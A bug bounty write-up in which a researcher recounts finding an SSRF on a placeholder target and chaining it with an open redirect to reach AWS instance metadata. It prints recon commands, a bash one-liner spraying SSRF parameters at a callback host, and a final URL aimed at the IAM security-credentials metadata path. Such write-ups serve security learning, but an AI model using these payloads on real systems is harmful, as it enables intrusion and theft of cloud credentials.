AWS internal metadata accessed through SSRF by Chaining an Open Redirect bug

Hi, everyone

My name is Santosh Kumar Sha, I’m a security researcher from India(Assam). In this article, I will be describing how I was able to get AWS metadata accessed through SSRF by chaining it with a open direct vulnerability

TOOLS used for the exploitation

1. Subfinder (https://github.com/projectdiscovery/subfinder)

2. httpx (https://github.com/projectdiscovery/httpx)

3. gau(Corben) — https://github.com/lc/gau

4. waybackurls(tomnomnom) — https://github.com/tomnomnom/waybackurls

This is the write of my Recent bug that i found . While I was doing recon for gathering all urls from internet archives using waybackurls and gau. So started fuzzing the for ssrf vulnerability and found one but there was some filter going on behind the server which not allow me access the internal metadata but i chained it with open redirect bug to bypass the waf to access the internal AWS metadata.

Suppose we assume the target name is example.com where every thing is in-scope like this:

In-scope : *.example.com

To gather all the urls from internet archives i have used waybackurls tool and gau.

gau -subs example.com

waybackurls example.com

So the chance of missing the urls still exist so in-order to be ahead of the game I don’t want to miss any urls for testing so I used subfinder and pipe to waybackurls to get all the urls for all the subdomain if exist and save it to a file.

gau -subs example.com >> vul1.txt

waybackurls example.com >> vul2.txt

subfinder -d example.com -silent | waybackurls >> vul3.txt

Now, we have collected all the urls ,so its times to resolve all the urls to filter out the dead urls from the list and filter out all the urls containing parameter for testing for vulnerability. So the command look like this below

cat vul1.txt vuln2.txt vul3.txt | grep “=” | sort -u | grep “?” | httpx -silent >> FUZZvul.txt

After Collecting all the urls containing parameter I starting fuzzing all the urls for finding SSRF but no success as the program is an well know bug-bounty program so I thought that all the other bugbounty hunter have already been tested and harden enough and If i find also the chances of duplicate is more because all others must have done these testing. Now, I was feeling burnout then i went out for some refreshment but still i was thinking about it.Suddenly something hit my mind, why not test for some hidden parameters. So i decided to use my magic trick which I call parameter sparing with some bash tricks to add my burp collaborator payload and proxy all urls to burp proxy to check the urls one by all as there was 200 urls .Here Is the command used for my magic parameter sparing

xargs -a /root/magicparameter/ssrf.txt -I@ bash -c ‘for url in $(cat FUZZvul.txt); do echo “$url&@=http://burpcollabrator.net”;done’ | httpx -http-proxy http://127.0.0.1:8080

Now I finally got an hit on my burp collaborator server with http and dns request with urls as

https://www.example.com/clientlibs/admin?custom_cilent=z&next_url=http://burpcollabrator.net

So that to fuzzing further to get AWS internal metadata for the vulnerable domain like these:

https://www.example.com/clientlibs/admin?custom_cilent=z&next_url=http://169.254.169.254/

I tried the above url it gives me 200 OK, but no success as there was some filtering going on behind or waf/firewall was not allowing to get the response for internal data access. I used all bypass i know and also google it about to bypass. But still i was not able to bypass it to access the internal metadata.

So after all this I was stuck because If I report it then it will be an blind SSRF with low impact and one might I already found it so it might duplicate. So I decided to not to report and take these as an challenge to bypass it. As, I knew that i was able to access the internal metadata because i was getting 200 OK response but I was not able to see the response.

But after sometime I remember that there was an open-redirect vulnerability that i have already found on it but it out of scope. So I decided why not chain the open redirect bug with my SSRF bug. The open redirct url was like below.

https://example.com/user/custom?path=https://evil.com

So after chaining with my ssrf vulnerable url it look like this

https://example.com/user/custom?path=https://www.example.com/clientlibs/admin?custom_cilent=z&next_url=http://169.254.169.254/latest/meta-data/iam/security-credentials/Prod

I quickly reported the bug and in the next day the report was triage to critical

After seeing this my reaction …

Takeaway

I’m sure that a lot of security researcher had already see there process but this how I approach to bypass the firewall to get AWS metadata accessed through SSRF by chaining it with a open direct vulnerability .So never stop when across any filtration or firewall or WAF because there are way to way them and always try to chain the low severity bug to increase the impact for higher bounties.

That’s one of the reasons why I wanted to share my experience. also to highlight other techniques to exploit such vulnerability.